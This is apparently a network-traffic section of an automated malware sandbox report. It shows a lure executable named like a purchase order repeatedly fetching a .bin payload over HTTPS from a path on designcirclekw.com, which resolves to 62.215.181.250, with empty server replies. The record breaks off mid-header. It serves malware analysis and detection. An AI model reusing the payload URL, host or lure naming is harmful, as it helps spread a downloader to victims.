Oct 29, 2024 20:39:17.739341974 CET	443	50027	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:19.269982100 CET	443	50027	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:19.270126104 CET	50027	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:19.270133018 CET	443	50027	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:19.270184994 CET	50027	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:19.270288944 CET	50027	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:19.270308018 CET	443	50027	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:19.270337105 CET	50027	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:19.270361900 CET	50027	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:19.383668900 CET	50028	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:19.383713007 CET	443	50028	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:19.383821011 CET	50028	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:19.384098053 CET	50028	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:19.384109974 CET	443	50028	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:20.373794079 CET	443	50028	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:20.373909950 CET	50028	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:20.374553919 CET	50028	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:20.374562979 CET	443	50028	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:20.374663115 CET	50028	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:20.374667883 CET	443	50028	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:21.199966908 CET	443	50028	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:21.200043917 CET	50028	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:21.200059891 CET	443	50028	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:21.200087070 CET	443	50028	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:21.200102091 CET	50028	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:21.200141907 CET	50028	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:21.200161934 CET	50028	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:21.200161934 CET	50028	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:21.200181961 CET	443	50028	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:21.200227976 CET	50028	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:21.305907965 CET	50029	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:21.305975914 CET	443	50029	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:21.306040049 CET	50029	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:21.306318045 CET	50029	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:21.306332111 CET	443	50029	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:22.305331945 CET	443	50029	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:22.310187101 CET	50029	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:22.312527895 CET	50029	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:22.312540054 CET	443	50029	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:22.312793016 CET	50029	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:22.312798023 CET	443	50029	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:23.130494118 CET	443	50029	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:23.130564928 CET	443	50029	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:23.130577087 CET	50029	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:23.130606890 CET	50029	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:23.130712986 CET	50029	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:23.130733013 CET	443	50029	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:23.130744934 CET	50029	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:23.130776882 CET	50029	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:23.243129015 CET	50030	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:23.243180990 CET	443	50030	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:23.243385077 CET	50030	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:23.243729115 CET	50030	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:23.243746996 CET	443	50030	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:24.233879089 CET	443	50030	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:24.236351967 CET	50030	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:24.236871958 CET	50030	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:24.236884117 CET	443	50030	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:24.237042904 CET	50030	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:24.237046957 CET	443	50030	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:25.031982899 CET	443	50030	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:25.032056093 CET	443	50030	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:25.032411098 CET	50030	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:25.046250105 CET	50030	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:25.046279907 CET	443	50030	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:25.046294928 CET	50030	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:25.049146891 CET	50030	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:25.169712067 CET	50031	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:25.169790983 CET	443	50031	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:25.169920921 CET	50031	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:25.170221090 CET	50031	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:25.170238018 CET	443	50031	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:26.191731930 CET	443	50031	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:26.191888094 CET	50031	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:26.192784071 CET	50031	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:26.192799091 CET	443	50031	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:26.192965031 CET	50031	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:26.192970991 CET	443	50031	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:27.014460087 CET	443	50031	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:27.014517069 CET	50031	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:27.014533043 CET	443	50031	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:27.014578104 CET	50031	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:29.695516109 CET	50031	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:29.695570946 CET	443	50031	62.215.181.250	192.168.2.8
Oct 29, 2024 20:39:29.695588112 CET	50031	443	192.168.2.8	62.215.181.250
Oct 29, 2024 20:39:29.695621967 CET	50031	443	192.168.2.8	62.215.181.250

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 20:37:33.382989883 CET	58652	53	192.168.2.8	1.1.1.1
Oct 29, 2024 20:37:33.418777943 CET	53	58652	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 29, 2024 20:37:33.382989883 CET	192.168.2.8	1.1.1.1	0x56b7	Standard query (0)	designcirclekw.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 29, 2024 20:37:33.418777943 CET	1.1.1.1	192.168.2.8	0x56b7	No error (0)	designcirclekw.com		62.215.181.250	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

designcirclekw.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49976	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:34 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:37:35 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:35 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49977	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:36 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:37:37 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:37 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49978	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:38 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:37:39 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:39 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49979	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:40 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:37:41 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:40 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49980	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:42 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:37:43 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:42 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49981	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:44 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:37:45 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:44 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49982	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:46 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:37:47 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:46 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49983	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:48 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:37:49 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:48 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49984	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:50 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:37:51 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:50 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49985	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:52 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:37:53 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:52 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49986	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:54 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:37:55 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:54 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49987	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:56 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:37:57 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:56 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49988	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:58 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:37:59 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:58 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49989	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:00 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:38:01 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:00 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49990	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:02 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:38:03 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:02 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49991	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:05 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:38:06 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:05 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49992	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:07 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:38:08 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:07 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49993	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:09 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:38:10 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:09 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49994	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:11 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:38:12 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:11 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49995	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:13 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:38:14 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:13 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49996	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:15 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:38:16 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:15 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49997	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:17 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:38:18 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:17 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49998	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:19 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:38:21 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:19 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	49999	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:22 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:38:23 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:22 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	50000	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:24 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:38:25 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:24 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	50001	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:26 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:38:27 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:26 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
